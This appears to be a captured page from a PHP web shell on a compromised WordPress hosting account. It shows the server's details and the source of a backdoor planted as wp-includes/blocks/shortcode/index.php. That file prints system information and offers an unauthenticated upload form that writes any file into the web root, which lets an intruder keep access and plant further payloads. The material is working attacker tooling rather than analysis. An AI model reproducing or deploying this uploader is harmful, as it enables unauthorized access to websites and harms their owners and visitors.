Server IP : 63.250.38.157  /  Your IP : 216.73.216.55
Web Server : LiteSpeed
System : Linux premium293.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : fastpowo ( 1724)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/fastpowo/compulec.rw/wp-includes/sitemaps/../blocks/shortcode/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/fastpowo/compulec.rw/wp-includes/sitemaps/../blocks/shortcode/index.php
<?php
echo "<b>".php_uname()."</b><br><br>";
echo "<b>".exec('pwd')."</b><br>";

echo '<h4>###Upload is working###<br></h4>';


echo "<form method='post' enctype='multipart/form-data'>

	 <input type='file' name='idx_file'>

	 <input type='submit' name='upload' value='upload'>

	 </form>";

$root = $_SERVER['DOCUMENT_ROOT'];

$files = $_FILES['idx_file']['name'];

$dest = $root.'/'.$files;

if(isset($_POST['upload'])) {

	if(is_writable($root)) {

		if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {

			$web = "http://".$_SERVER['HTTP_HOST']."/";

			echo "Succes -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";

		} else {

			echo "Gagal Di Doc Root";

		}

	} else {

		if(@copy($_FILES['idx_file']['tmp_name'], $files)) {

			echo "Succes<b>$files</b> Terupload Di Dir Ini";

		} else {

			echo "Gagal";

		}

	}

}

?>

</style>
<title>***'s private tool</title>
</head>

<body>
    <?php
error_reporting(0);

?>
<?php
$url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>

</body>